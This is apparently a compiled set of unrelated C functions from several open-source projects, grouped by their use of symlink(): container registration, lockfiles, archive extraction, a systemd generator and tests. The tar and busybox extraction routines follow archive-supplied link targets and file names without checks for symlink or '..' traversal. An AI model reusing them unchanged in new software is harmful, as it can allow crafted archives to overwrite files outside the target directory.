/** Register Container * @param path Container private data root * @param param struct vzctl_reg_param * @param flags registration flags * @return veid or -1 in case error */ int vzctl2_env_register(const char *path, struct vzctl_reg_param *param, int flags) { char buf[PATH_MAX]; char veconf[STR_SIZE]; char path_r[PATH_MAX]; struct stat st; int ret, err; struct vzctl_env_handle *h; FILE *fp; char ve_host[STR_SIZE]; char host[STR_SIZE]; int owner_check_res; int on_pcs, on_shared; int ha_resource_added = 0; int ha_enable = 0; const char *data, *name; ctid_t ctid = {}; ctid_t uuid = {}; /* preserve compatibility * VZ_REG_SKIP_HA_CLUSTER is alias for VZ_REG_SKIP_CLUSTER */ if (flags & VZ_REG_SKIP_HA_CLUSTER) flags |= VZ_REG_SKIP_CLUSTER; if (stat(path, &st) != 0) return vzctl_err(-1, errno, "Unable to stat %s", path); if (realpath(path, path_r) == NULL) return vzctl_err(-1, errno, "Failed to get realpath %s", path); ret = vzctl2_env_layout_version(path_r); if (ret == -1) { return -1; } else if (ret < VZCTL_LAYOUT_4) return vzctl_err(-1, 0, "Warning: Container in old data format," " registration skipped."); snprintf(veconf, sizeof(veconf), "%s/" VZCTL_VE_CONF, path_r); if (stat(veconf, &st)) { logger(-1, 0, "Error: Broken Container, no %s file found", veconf); return -1; } h = vzctl2_env_open_conf(param->ctid, veconf, 0, &err); if (h == NULL) return -1; data = param->uuid; /* get UUID from config if not specified */ if (data == NULL) vzctl2_env_get_param(h, "UUID", &data); if (get_cid_uuid_pair(param->ctid, data, ctid, uuid)) goto err; owner_check_res = vzctl_check_owner_quiet( path_r, host, sizeof(host), ve_host, sizeof(ve_host)); on_pcs = (is_pcs(path_r) == 1); on_shared = (is_shared_fs(path_r) == 1); if (vzctl2_env_get_param(h, "HA_ENABLE", &data) == 0 && data != NULL) ha_enable = yesno2id(data); if (on_pcs && ha_enable != VZCTL_PARAM_OFF && check_external_disk(path_r, h->env_param->disk) && shaman_is_configured()) { logger(-1, 0, "Containers with external disks cannot be" " registered in a High Availability cluster"); goto err; } if (!(flags & VZ_REG_FORCE)) { /* ignore renew option for pstorage (https://jira.sw.ru/browse/PSBM-16819) */ if (on_pcs) flags &= ~VZ_REG_RENEW; if (!(flags & VZ_REG_RENEW) && owner_check_res) { if (owner_check_res == VZCTL_E_ENV_MANAGE_DISABLED) { logger(-1, 0, "Owner check failed on the server %s;" " Container is registered for %s", host, ve_host); if (on_pcs) logger(0, 0, "Failed to register the Container/virtual machine. " "You can force the registration, but this will revoke " "all access to the Container from the original server."); } goto err; } if (validate_eid(h, &st, ctid)) goto err; } else if ((owner_check_res == VZCTL_E_ENV_MANAGE_DISABLED) && on_shared) { if (on_pcs && !(flags & VZ_REG_SKIP_CLUSTER)) { /* [pstorage:] if CT already registered on other node, revoke leases */ /* before files editing (https://jira.sw.ru/browse/PSBM-16819) */ char *argv[] = { "/usr/bin/pstorage", "revoke", "-R", (char *)path_r, NULL }; /* it is irreversible operation */ if (vzctl2_wrap_exec_script(argv, NULL, 0)) goto err; } if (!(flags & VZ_REG_SKIP_CLUSTER) && (ha_enable != VZCTL_PARAM_OFF)) { /* remove resource from HA cluster * TODO : execute 'del-everywhere' and 'add' by one command * (https://jira.sw.ru/browse/PSBM-17374 */ shaman_del_everywhere(ctid); } } if (!(flags & VZ_REG_SKIP_CLUSTER) && on_shared && (ha_enable != VZCTL_PARAM_OFF)) { /* TODO : execute 'del-everywhere' and 'add' by one command * (https://jira.sw.ru/browse/PSBM-17374) * Right now ask HA cluster to register CT as resource * and will do it before filesystem operations */ if (shaman_add_resource(ctid, h->conf, path_r)) { logger(-1, 0, "Error: Failed to register the Container %s on HA cluster", ctid); goto err; } ha_resource_added = 1; } if (!(flags & VZ_REG_SKIP_OWNER)) { snprintf(buf, sizeof(buf), "%s/" VZCTL_VE_OWNER, path_r); if ((fp = fopen(buf, "w")) == NULL) { logger(-1, errno, "Unable to register the Container; failed to create" " the file %s", buf); goto err; } if (get_serverid(buf, sizeof(buf)) == 0) fprintf(fp, "%s", buf); fclose(fp); } ret = renew_VE_PRIVATE(h, path, ctid); if (ret) goto err; /* restore CT name */ name = param->name ?: h->env_param->name->name; if (name != NULL && *name != '\0') { ctid_t t; char x[PATH_MAX]; const char *new_name = name; const char *veid = NULL; vzctl2_env_get_param(h, "VEID", &veid); if (vzctl2_get_envid_by_name(name, t) == 0 && veid != NULL && CMP_CTID(t, veid)) { logger(-1, 0, "Name %s is in use by CT %s", name, t); new_name = gen_uniq_name(name, x, sizeof(x)); } vzctl2_env_set_param(h, "NAME", new_name); if (h->env_param->name->name) { struct stat st_n; snprintf(buf, sizeof(buf), ENV_NAME_DIR "%s", h->env_param->name->name); if (stat(buf, &st_n) == 0 && st.st_dev == st_n.st_dev) unlink(buf); } logger(0, 0, "Assign the name: %s", new_name); snprintf(buf, sizeof(buf), ENV_NAME_DIR "%s", new_name); unlink(buf); if (symlink(veconf, buf)) { logger(-1, errno, "Unable to create the link %s", buf); goto err; } } vzctl2_env_set_param(h, "VEID", ctid); /* Update UUID */ vzctl2_env_set_param(h, "UUID", uuid); if (flags & (VZ_REG_RENEW_NETIF_IFNAME|VZ_REG_RENEW_NETIF_MAC)) { if (h->env_param->veth && !list_empty(&h->env_param->veth->dev_list)) { h->env_param->veth->delall = 1; data = veth2str(h->env_param, h->env_param->veth, flags); if (data != NULL) vzctl2_env_set_param(h, "NETIF", data); } } ret = vzctl2_env_save_conf(h, veconf); if (ret) goto err; /* create registration */ vzctl2_get_env_conf_path(ctid, buf, sizeof(buf)); unlink(buf); if (symlink(veconf, buf)) { logger(-1, errno, "Failed to create the symlink %s", buf); goto err; } vzctl2_env_close(h); vzctl2_send_state_evt(ctid, VZCTL_ENV_REGISTERED); logger(0, 0, "Container %s was successfully registered", ctid); return 0; err: if (ha_resource_added) shaman_del_resource(ctid); vzctl2_env_close(h); logger(-1, 0, "Container registration failed: %s", vzctl2_get_last_error()); return -1; }
int main(int argc, char *argv[]) { char dirfilename[1024]; int i_ch; char fieldlist[255][255]; DIRFILE *df_out; int fp_lnc; int n_read = 0; struct fifoStruct fs; int i_frame = 0; uint8_t c_in; int16_t s_in; uint16_t u_in; int32_t S_in; uint32_t U_in; double x_in; time_t t; fs.i_in = fs.i_out = 0; if (argc!=2) Usage(); if (argv[1][0]=='-') Usage(); strncpy(hostname, argv[1], 250); sprintf(dirfilename, "%s/%lu.l", RAWDIR, time(NULL)); df_out = gd_open(dirfilename, GD_RDWR | GD_UNENCODED | GD_CREAT | GD_TRUNC); /* add fields to dirfile */ for (i_ch =0; slowDLList[i_ch].name[0] != '\0'; i_ch++) { convertToUpper(slowDLList[i_ch].name, fieldlist[i_ch]); if (slowDLList[i_ch].encode == SDL_SCALE) { gd_add_raw(df_out, fieldlist[i_ch], GD_FLOAT64, 1, 0); } else { switch (slowDLList[i_ch].type) { case 'c': gd_add_raw(df_out, fieldlist[i_ch], GD_UINT8, 1, 0); break; case 's': gd_add_raw(df_out, fieldlist[i_ch], GD_INT16, 1, 0); break; case 'u': gd_add_raw(df_out, fieldlist[i_ch], GD_UINT16, 1, 0); break; case 'S': gd_add_raw(df_out, fieldlist[i_ch], GD_INT32, 1, 0); break; case 'U': gd_add_raw(df_out, fieldlist[i_ch], GD_UINT32, 1, 0); break; default: break; // shouldn't be possible } } } gd_flush(df_out, NULL); unlink(LNKFILE); if (symlink(dirfilename, LNKFILE)<0) { fprintf(stderr, "could not create link from `%s' to `%s'", dirfilename, LNKFILE); exit(0); } strncpy(hostname, argv[1], 250); fp_lnc = party_connect(hostname, PORT); while (1) { do { if (nFifo(&fs)<4) { n_read += BlockingRead(4, &fs, fp_lnc, hostname, PORT); } peek(&fs, (char *)&U_in, 4); advance(&fs, 1); } while (U_in != SLOWDLSYNCWORD); advance(&fs, 4-1); for (i_ch =0; slowDLList[i_ch].name[0] != '\0'; i_ch++) { // read the word switch (slowDLList[i_ch].type) { case 'c': if (nFifo(&fs)<1) { n_read += BlockingRead(1, &fs, fp_lnc, hostname, PORT); } pop(&fs, (char *)&c_in, 1); break; case 's': if (nFifo(&fs)<2) { n_read += BlockingRead(2, &fs, fp_lnc, hostname, PORT); } pop(&fs, (char *)&s_in, 2); break; case 'u': if (nFifo(&fs)<2) { n_read += BlockingRead(2, &fs, fp_lnc, hostname, PORT); } pop(&fs, (char *)&u_in, 2); break; case 'S': if (nFifo(&fs)<4) { n_read += BlockingRead(4, &fs, fp_lnc, hostname, PORT); } pop(&fs, (char *)&S_in, 4); break; case 'U': if (nFifo(&fs)<4) { n_read += BlockingRead(4, &fs, fp_lnc, hostname, PORT); } pop(&fs, (char *)&U_in, 4); break; default: break; } // write the word if (slowDLList[i_ch].encode == SDL_SCALE) { switch (slowDLList[i_ch].type) { case 'c': x_in = (double)c_in / (double)0xff; break; case 'u': x_in = (double)u_in / (double)0xffff; break; case 'U': x_in = (double)U_in / (double)0xffff; break; default: // not allowed break; } x_in = slowDLList[i_ch].min + x_in * (slowDLList[i_ch].max - slowDLList[i_ch].min); gd_putdata(df_out, fieldlist[i_ch], i_frame, 0, 1, 0, GD_FLOAT64, &x_in); } else { switch (slowDLList[i_ch].type) { case 'c': gd_putdata(df_out, fieldlist[i_ch], i_frame, 0, 1, 0, GD_UINT8, &c_in); break; case 's': gd_putdata(df_out, fieldlist[i_ch], i_frame, 0, 1, 0, GD_INT16, &s_in); break; case 'u': gd_putdata(df_out, fieldlist[i_ch], i_frame, 0, 1, 0, GD_UINT16, &u_in); break; case 'S': gd_putdata(df_out, fieldlist[i_ch], i_frame, 0, 1, 0, GD_INT32, &S_in); break; case 'U': gd_putdata(df_out, fieldlist[i_ch], i_frame, 0, 1, 0, GD_UINT32, &U_in); break; default: // shouldn't happen break; } } } // next i_ch; t = time(NULL); printf("%s: frame %4d - %s", argv[0], i_frame, ctime(&t)); i_frame++; } return 0; }
/* * This function acquires a lockfile for the given path. Returns true if the * lock was acquired, otherwise false. If the lock has been considered stale * for the number of microseconds specified by staleness_limit, the function * will (if possible) break the lock and then try to acquire it again. The * staleness limit should be reasonably larger than the longest time the lock * can be expected to be held, and the updates of the locked path should * probably be made with an atomic rename(2) to avoid corruption in the rare * case that the lock is broken by another process. */ bool lockfile_acquire(const char *path, unsigned staleness_limit) { char *lockfile = format("%s.lock", path); char *my_content = NULL, *content = NULL, *initial_content = NULL; const char *hostname = get_hostname(); bool acquired = false; #ifdef _WIN32 const size_t bufsize = 1024; int fd, len; #else int ret; #endif unsigned to_sleep = 1000, slept = 0; /* Microseconds. */ while (1) { free(my_content); my_content = format("%s:%d:%d", hostname, (int)getpid(), (int)time(NULL)); #ifdef _WIN32 fd = open(lockfile, O_WRONLY|O_CREAT|O_EXCL|O_BINARY, 0666); if (fd == -1) { cc_log("lockfile_acquire: open WRONLY %s: %s", lockfile, strerror(errno)); if (errno == ENOENT) { /* Directory doesn't exist? */ if (create_parent_dirs(lockfile) == 0) { /* OK. Retry. */ continue; } } if (errno != EEXIST) { /* Directory doesn't exist or isn't writable? */ goto out; } /* Someone else has the lock. */ fd = open(lockfile, O_RDONLY|O_BINARY); if (fd == -1) { if (errno == ENOENT) { /* * The file was removed after the open() call above, so retry * acquiring it. */ continue; } else { cc_log("lockfile_acquire: open RDONLY %s: %s", lockfile, strerror(errno)); goto out; } } free(content); content = x_malloc(bufsize); if ((len = read(fd, content, bufsize - 1)) == -1) { cc_log("lockfile_acquire: read %s: %s", lockfile, strerror(errno)); close(fd); goto out; } close(fd); content[len] = '\0'; } else { /* We got the lock. */ if (write(fd, my_content, strlen(my_content)) == -1) { cc_log("lockfile_acquire: write %s: %s", lockfile, strerror(errno)); close(fd); x_unlink(lockfile); goto out; } close(fd); acquired = true; goto out; } #else ret = symlink(my_content, lockfile); if (ret == 0) { /* We got the lock. */ acquired = true; goto out; } cc_log("lockfile_acquire: symlink %s: %s", lockfile, strerror(errno)); if (errno == ENOENT) { /* Directory doesn't exist? */ if (create_parent_dirs(lockfile) == 0) { /* OK. Retry. */ continue; } } if (errno != EEXIST) { /* Directory doesn't exist or isn't writable? */ goto out; } free(content); content = x_readlink(lockfile); if (!content) { if (errno == ENOENT) { /* * The symlink was removed after the symlink() call above, so retry * acquiring it. */ continue; } else { cc_log("lockfile_acquire: readlink %s: %s", lockfile, strerror(errno)); goto out; } } #endif if (str_eq(content, my_content)) { /* Lost NFS reply? */ cc_log("lockfile_acquire: symlink %s failed but we got the lock anyway", lockfile); acquired = true; goto out; } /* * A possible improvement here would be to check if the process holding the * lock is still alive and break the lock early if it isn't. */ cc_log("lockfile_acquire: lock info for %s: %s", lockfile, content); if (!initial_content) { initial_content = x_strdup(content); } if (slept > staleness_limit) { if (str_eq(content, initial_content)) { /* The lock seems to be stale -- break it. */ cc_log("lockfile_acquire: breaking %s", lockfile); if (lockfile_acquire(lockfile, staleness_limit)) { lockfile_release(path); lockfile_release(lockfile); to_sleep = 1000; slept = 0; continue; } } cc_log("lockfile_acquire: gave up acquiring %s", lockfile); goto out; } cc_log("lockfile_acquire: failed to acquire %s; sleeping %u microseconds", lockfile, to_sleep); usleep(to_sleep); slept += to_sleep; to_sleep *= 2; } out: if (acquired) { cc_log("Acquired lock %s", lockfile); } else { cc_log("Failed to acquire lock %s", lockfile); } free(lockfile); free(my_content); free(initial_content); free(content); return acquired; }
static void gimp_init_icon_theme_for_testing (void) { const gchar *top_srcdir = g_getenv ("GIMP_TESTING_ABS_TOP_SRCDIR"); gchar *icon_root; gchar *link_name; gchar *link_target; gint i; static const gchar *sizes[] = { "12x12", "16x16", "18x18", "20x20", "22x22", "24x24", "32x32", "48x48", "64x64" }; if (! top_srcdir) { g_printerr ("*\n" "* The env var GIMP_TESTING_ABS_TOP_SRCDIR is not set,\n" "* you are probably running in a debugger.\n" "* Set it manually, e.g.:\n" "*\n" "* set env GIMP_TESTING_ABS_TOP_SRCDIR=%s/source/gimp\n" "*\n", g_get_home_dir ()); return; } icon_root = g_dir_make_tmp ("gimp-test-icon-theme-XXXXXX", NULL); if (! icon_root) return; for (i = 0; i < G_N_ELEMENTS (sizes); i++) { gchar *icon_dir; icon_dir = g_build_filename (icon_root, "hicolor", sizes[i], NULL); g_mkdir_with_parents (icon_dir, 0700); link_name = g_build_filename (icon_dir, "apps", NULL); link_target = g_build_filename (top_srcdir, "icons", sizes[i] + 3, NULL); symlink (link_target, link_name); g_free (link_target); g_free (link_name); g_free (icon_dir); } link_name = g_build_filename (icon_root, "hicolor", "index.theme", NULL); link_target = g_build_filename (top_srcdir, "icons", "index.theme", NULL); symlink (link_target, link_name); g_free (link_target); g_free (link_name); gtk_icon_theme_prepend_search_path (gtk_icon_theme_get_default (), icon_root); g_free (icon_root); }
/* * Examine the header block that was just read. * This can specify the information for another file, or it can mark * the end of the tar file. */ static void readHeader(const TarHeader * hp, int fileCount, const char ** fileTable) { int mode; int uid; int gid; long size; time_t mtime; const char * name; int cc; BOOL hardLink; BOOL softLink; /* * If the block is completely empty, then this is the end of the * archive file. If the name is null, then just skip this header. */ name = hp->name; if (*name == '\0') { for (cc = TAR_BLOCK_SIZE; cc > 0; cc--) { if (*name++) return; } eofFlag = TRUE; return; } /* * There is another file in the archive to examine. * Extract the encoded information and check it. */ mode = getOctal(hp->mode, sizeof(hp->mode)); uid = getOctal(hp->uid, sizeof(hp->uid)); gid = getOctal(hp->gid, sizeof(hp->gid)); size = getOctal(hp->size, sizeof(hp->size)); mtime = getOctal(hp->mtime, sizeof(hp->mtime)); if ((mode < 0) || (uid < 0) || (gid < 0) || (size < 0)) { if (!badHeader) fprintf(stderr, "Bad tar header, skipping\n"); badHeader = TRUE; return; } badHeader = FALSE; skipFileFlag = FALSE; /* * Check for the file modes. */ hardLink = ((hp->typeFlag == TAR_TYPE_HARD_LINK) || (hp->typeFlag == TAR_TYPE_HARD_LINK - '0')); softLink = ((hp->typeFlag == TAR_TYPE_SOFT_LINK) || (hp->typeFlag == TAR_TYPE_SOFT_LINK - '0')); /* * Check for a directory or a regular file. */ if (name[strlen(name) - 1] == '/') mode |= S_IFDIR; else if ((mode & S_IFMT) == 0) mode |= S_IFREG; /* * Check for absolute paths in the file. * If we find any, then warn the user and make them relative. */ if (*name == '/') { while (*name == '/') name++; if (!warnedRoot) { fprintf(stderr, "Absolute path detected, removing leading slashes\n"); } warnedRoot = TRUE; } /* * See if we want this file to be restored. * If not, then set up to skip it. */ if (!wantFileName(name, fileCount, fileTable)) { if (!hardLink && !softLink && S_ISREG(mode)) { inHeader = (size == 0); dataCc = size; } skipFileFlag = TRUE; return; } /* * This file is to be handled. * If we aren't extracting then just list information about the file. */ if (!extractFlag) { if (verboseFlag) { printf("%s %3d/%-d %9ld %s %s", modeString(mode), uid, gid, size, timeString(mtime), name); } else printf("%s", name); if (hardLink) printf(" (link to \"%s\")", hp->linkName); else if (softLink) printf(" (symlink to \"%s\")", hp->linkName); else if (S_ISREG(mode)) { inHeader = (size == 0); dataCc = size; } printf("\n"); return; } /* * We really want to extract the file. */ if (verboseFlag) printf("x %s\n", name); if (hardLink) { if (link(hp->linkName, name) < 0) perror(name); return; } if (softLink) { #ifdef S_ISLNK if (symlink(hp->linkName, name) < 0) perror(name); #else fprintf(stderr, "Cannot create symbolic links\n"); #endif return; } /* * If the file is a directory, then just create the path. */ if (S_ISDIR(mode)) { createPath(name, mode); return; } /* * There is a file to write. * First create the path to it if necessary with a default permission. */ createPath(name, 0777); inHeader = (size == 0); dataCc = size; /* * Start the output file. */ outFd = open(name, O_WRONLY | O_CREAT | O_TRUNC, mode); if (outFd < 0) { perror(name); skipFileFlag = TRUE; return; } /* * If the file is empty, then that's all we need to do. */ if (size == 0) { (void) close(outFd); outFd = -1; } }
int lock_file (const vfs_path_t * fname_vpath) { char *lockfname = NULL, *newlock, *msg, *lock; struct stat statbuf; struct lock_s *lockinfo; gboolean is_local; gboolean symlink_ok = FALSE; const char *elpath; if (fname_vpath == NULL) return 0; elpath = vfs_path_get_by_index (fname_vpath, 0)->path; /* Just to be sure (and don't lock new file) */ if (*elpath == '\0') return 0; /* Locking on VFS is not supported */ is_local = vfs_file_is_local (fname_vpath); if (is_local) { /* Check if already locked */ lockfname = lock_build_symlink_name (fname_vpath); } if (!is_local || lockfname == NULL) return 0; if (lstat (lockfname, &statbuf) == 0) { lock = lock_get_info (lockfname); if (lock == NULL) goto ret; lockinfo = lock_extract_info (lock); /* Check if locking process alive, ask user if required */ if (lockinfo->pid == 0 || !(kill (lockinfo->pid, 0) == -1 && errno == ESRCH)) { msg = g_strdup_printf (_ ("File \"%s\" is already being edited.\n" "User: %s\nProcess ID: %d"), x_basename (lockfname) + 2, lockinfo->who, (int) lockinfo->pid); /* TODO: Implement "Abort" - needs to rewind undo stack */ switch (query_dialog (_("File locked"), msg, D_NORMAL, 2, _("&Grab lock"), _("&Ignore lock"))) { case 0: break; case 1: case -1: default: /* Esc Esc */ g_free (msg); goto ret; } g_free (msg); } unlink (lockfname); } /* Create lock symlink */ newlock = lock_build_name (); symlink_ok = (symlink (newlock, lockfname) != -1); g_free (newlock); ret: g_free (lockfname); return symlink_ok ? 1 : 0; }
/* Archive the specified file. * This includes several steps: * 1. Generate the id * 2. Copy file to id if non-existent * 3. Link back to creating task * @return 0 if successfully archived, 1 if failed at any point. */ static int makeflow_archive_file(struct archive_instance *a, struct batch_file *f, char *job_file_archive_path) { /* Generate the file archive id (content based) if does not exist. */ char * id; if(path_is_dir(f->inner_name) == 1){ f->hash = batch_file_generate_id_dir(f->inner_name); id = xxstrdup(f->hash); } else{ id = batch_file_generate_id(f); } struct stat buf; int rv = 0; char * file_archive_dir = string_format("%s/files/%.2s", a->dir, id); char * file_archive_path = string_format("%s/%s", file_archive_dir, id); char * job_file_archive_dir = NULL; /* Create the archive path with 2 character prefix. */ if (!create_dir(file_archive_dir, 0777) && errno != EEXIST){ debug(D_ERROR|D_MAKEFLOW_HOOK, "could not create file archiving directory %s: %d %s\n", file_archive_dir, errno, strerror(errno)); rv = 1; goto FAIL; } /* Check if file is already archived */ if(stat(file_archive_path, &buf) >= 0) { debug(D_MAKEFLOW_HOOK, "file %s already archived at %s", f->outer_name, file_archive_path); /* File did not already exist, store in general file area */ } else { if(path_is_dir(f->outer_name) != 1){ if (!copy_file_to_file(f->outer_name, file_archive_path)){ debug(D_ERROR|D_MAKEFLOW_HOOK, "could not archive output file %s at %s: %d %s\n", f->outer_name, file_archive_path, errno, strerror(errno)); rv = 1; goto FAIL; } } else{ debug(D_MAKEFLOW,"COPYING %s to the archive",f->outer_name); if(copy_dir(f->outer_name,file_archive_path) != 0){ debug(D_ERROR|D_MAKEFLOW_HOOK, "could not archive output file %s at %s: %d %s\n", f->outer_name, file_archive_path, errno, strerror(errno)); rv = 1; goto FAIL; } } } /* Create the directory structure for job_file_archive. */ job_file_archive_dir = xxstrdup(job_file_archive_path); path_dirname(job_file_archive_path, job_file_archive_dir); if (!create_dir(job_file_archive_dir, 0777) && errno != EEXIST){ debug(D_ERROR|D_MAKEFLOW_HOOK, "could not create job file directory %s: %d %s\n", file_archive_dir, errno, strerror(errno)); rv = 1; goto FAIL; } if(a->s3){ int result = 1; // Check to see if file already exists in the s3 bucket if(a->s3_check){ if(!in_s3_archive(a,id)){ result = makeflow_archive_s3_file(a,id,file_archive_path); } } else result = makeflow_archive_s3_file(a,id,file_archive_path); /* Copy file to the s3 bucket*/ if(!result){ debug(D_ERROR|D_MAKEFLOW_HOOK, "could not copy file %s to s3 bucket: %d %s\n", id, errno, strerror(errno)); rv = 1; goto FAIL; } } free(file_archive_path); file_archive_path = string_format("../../../../files/%.2s/%s", id, id); /* Create a symlink to task that used/created this file. */ int symlink_failure = symlink(file_archive_path, job_file_archive_path); if (symlink_failure && errno != EEXIST) { debug(D_ERROR|D_MAKEFLOW_HOOK, "could not create symlink %s pointing to %s: %d %s\n", job_file_archive_path, file_archive_path, errno, strerror(errno)); rv = 1; goto FAIL; } FAIL: free(id); free(file_archive_dir); free(file_archive_path); free(job_file_archive_dir); return rv; }
void FAST_FUNC data_extract_all(archive_handle_t *archive_handle) { file_header_t *file_header = archive_handle->file_header; int dst_fd; int res; if (archive_handle->ah_flags & ARCHIVE_CREATE_LEADING_DIRS) { char *slash = strrchr(file_header->name, '/'); if (slash) { *slash = '\0'; bb_make_directory(file_header->name, -1, FILEUTILS_RECUR); *slash = '/'; } } if (archive_handle->ah_flags & ARCHIVE_UNLINK_OLD) { /* Remove the entry if it exists */ if ((!S_ISDIR(file_header->mode)) && (unlink(file_header->name) == -1) && (errno != ENOENT) ) { bb_perror_msg_and_die("can't remove old file %s", file_header->name); } } else if (archive_handle->ah_flags & ARCHIVE_EXTRACT_NEWER) { /* Remove the existing entry if its older than the extracted entry */ struct stat existing_sb; if (lstat(file_header->name, &existing_sb) == -1) { if (errno != ENOENT) { bb_perror_msg_and_die("can't stat old file"); } } else if (existing_sb.st_mtime >= file_header->mtime) { if (!(archive_handle->ah_flags & ARCHIVE_EXTRACT_QUIET)) { bb_error_msg("%s not created: newer or " "same age file exists", file_header->name); } data_skip(archive_handle); return; } else if ((unlink(file_header->name) == -1) && (errno != EISDIR)) { bb_perror_msg_and_die("can't remove old file %s", file_header->name); } } /* Handle hard links separately * We identified hard links as regular files of size 0 with a symlink */ if (S_ISREG(file_header->mode) && file_header->link_target && file_header->size == 0 ) { /* hard link */ res = link(file_header->link_target, file_header->name); if ((res == -1) && !(archive_handle->ah_flags & ARCHIVE_EXTRACT_QUIET)) { bb_perror_msg("can't create %slink " "from %s to %s", "hard", file_header->name, file_header->link_target); } } else { /* Create the filesystem entry */ switch (file_header->mode & S_IFMT) { case S_IFREG: { /* Regular file */ int flags = O_WRONLY | O_CREAT | O_EXCL; if (archive_handle->ah_flags & ARCHIVE_O_TRUNC) flags = O_WRONLY | O_CREAT | O_TRUNC; dst_fd = xopen3(file_header->name, flags, file_header->mode ); bb_copyfd_exact_size(archive_handle->src_fd, dst_fd, file_header->size); close(dst_fd); break; } case S_IFDIR: res = mkdir(file_header->name, file_header->mode); if ((res == -1) && (errno != EISDIR) /* btw, Linux doesn't return this */ && (errno != EEXIST) && !(archive_handle->ah_flags & ARCHIVE_EXTRACT_QUIET) ) { bb_perror_msg("can't make dir %s", file_header->name); } break; case S_IFLNK: /* Symlink */ res = symlink(file_header->link_target, file_header->name); if ((res == -1) && !(archive_handle->ah_flags & ARCHIVE_EXTRACT_QUIET) ) { bb_perror_msg("can't create %slink " "from %s to %s", "sym", file_header->name, file_header->link_target); } break; case S_IFSOCK: case S_IFBLK: case S_IFCHR: case S_IFIFO: res = mknod(file_header->name, file_header->mode, file_header->device); if ((res == -1) && !(archive_handle->ah_flags & ARCHIVE_EXTRACT_QUIET) ) { bb_perror_msg("can't create node %s", file_header->name); } break; default: bb_error_msg_and_die("unrecognized file type"); } } if (!(archive_handle->ah_flags & ARCHIVE_DONT_RESTORE_OWNER)) { #if ENABLE_FEATURE_TAR_UNAME_GNAME if (!(archive_handle->ah_flags & ARCHIVE_NUMERIC_OWNER)) { uid_t uid = file_header->uid; gid_t gid = file_header->gid; if (file_header->tar__uname) { //TODO: cache last name/id pair? struct passwd *pwd = getpwnam(file_header->tar__uname); if (pwd) uid = pwd->pw_uid; } if (file_header->tar__gname) { struct group *grp = getgrnam(file_header->tar__gname); if (grp) gid = grp->gr_gid; } /* GNU tar 1.15.1 uses chown, not lchown */ chown(file_header->name, uid, gid); } else #endif chown(file_header->name, file_header->uid, file_header->gid); } if (!S_ISLNK(file_header->mode)) { /* uclibc has no lchmod, glibc is even stranger - * it has lchmod which seems to do nothing! * so we use chmod... */ if (!(archive_handle->ah_flags & ARCHIVE_DONT_RESTORE_PERM)) { chmod(file_header->name, file_header->mode); } /* same for utime */ if (archive_handle->ah_flags & ARCHIVE_RESTORE_DATE) { struct timeval t[2]; t[1].tv_sec = t[0].tv_sec = file_header->mtime; t[1].tv_usec = t[0].tv_usec = 0; utimes(file_header->name, t); } } }
static int add_swap( const char *what, struct mntent *me, bool noauto, bool nofail) { _cleanup_free_ char *name = NULL, *unit = NULL, *lnk = NULL; _cleanup_fclose_ FILE *f = NULL; int r; assert(what); assert(me); if (access("/proc/swaps", F_OK) < 0) { log_info("Swap not supported, ignoring fstab swap entry for %s.", what); return 0; } if (detect_container() > 0) { log_info("Running in a container, ignoring fstab swap entry for %s.", what); return 0; } r = unit_name_from_path(what, ".swap", &name); if (r < 0) return log_error_errno(r, "Failed to generate unit name: %m"); unit = strjoin(arg_dest, "/", name, NULL); if (!unit) return log_oom(); f = fopen(unit, "wxe"); if (!f) { if (errno == EEXIST) log_error("Failed to create swap unit file %s, as it already exists. Duplicate entry in /etc/fstab?", unit); else log_error_errno(errno, "Failed to create unit file %s: %m", unit); return -errno; } fprintf(f, "# Automatically generated by systemd-fstab-generator\n\n" "[Unit]\n" "SourcePath=/etc/fstab\n" "Documentation=man:fstab(5) man:systemd-fstab-generator(8)\n\n" "[Swap]\n" "What=%s\n", what); if (!isempty(me->mnt_opts) && !streq(me->mnt_opts, "defaults")) fprintf(f, "Options=%s\n", me->mnt_opts); r = fflush_and_check(f); if (r < 0) return log_error_errno(r, "Failed to write unit file %s: %m", unit); /* use what as where, to have a nicer error message */ r = generator_write_timeouts(arg_dest, what, what, me->mnt_opts, NULL); if (r < 0) return r; if (!noauto) { lnk = strjoin(arg_dest, "/" SPECIAL_SWAP_TARGET, nofail ? ".wants/" : ".requires/", name, NULL); if (!lnk) return log_oom(); mkdir_parents_label(lnk, 0755); if (symlink(unit, lnk) < 0) return log_error_errno(errno, "Failed to create symlink %s: %m", lnk); } return 0; }
int main(int argc, char **argv) { char buffer1[PATH_MAX + 1], buffer2[PATH_MAX + 1]; subtest = 1; /* initialize */ start(43); executable = argv[0]; getcwd(basepath, sizeof(basepath)); /* prepare some symlinks to make it more difficult */ if (symlink("/", addbasepath(buffer1, L(1))) < 0) ERR; if (symlink(basepath, addbasepath(buffer1, L(2))) < 0) ERR; /* perform some tests */ check_realpath_recurse(basepath, PATH_DEPTH); /* now try with recursive symlinks */ if (symlink(addbasepath(buffer1, L(3)), addbasepath(buffer2, L(3))) < 0) ERR; if (symlink(addbasepath(buffer1, L(5)), addbasepath(buffer2, L(4))) < 0) ERR; if (symlink(addbasepath(buffer1, L(4)), addbasepath(buffer2, L(5))) < 0) ERR; check_realpath_step_by_step(addbasepath(buffer1, L(3)), ELOOP); check_realpath_step_by_step(addbasepath(buffer1, L(4)), ELOOP); check_realpath_step_by_step(addbasepath(buffer1, L(5)), ELOOP); /* delete the symlinks */ cleanup(); /* also test dirname */ test_dirname("", "."); test_dirname(".", "."); test_dirname("..", "."); test_dirname("x", "."); test_dirname("xy", "."); test_dirname("x/y", "x"); test_dirname("xy/z", "xy"); test_dirname("x/yz", "x"); test_dirname("ab/cd", "ab"); test_dirname("x//y", "x"); test_dirname("xy//z", "xy"); test_dirname("x//yz", "x"); test_dirname("ab//cd", "ab"); test_dirname("/", "/"); test_dirname("/x", "/"); test_dirname("/xy", "/"); test_dirname("/x/y", "/x"); test_dirname("/xy/z", "/xy"); test_dirname("/x/yz", "/x"); test_dirname("/ab/cd", "/ab"); test_dirname("/x//y", "/x"); test_dirname("/xy//z", "/xy"); test_dirname("/x//yz", "/x"); test_dirname("/ab//cd", "/ab"); test_dirname("/usr/src", "/usr"); test_dirname("/usr/src/test", "/usr/src"); test_dirname("usr/src", "usr"); test_dirname("usr/src/test", "usr/src"); /* done */ quit(); return(-1); /* impossible */ }
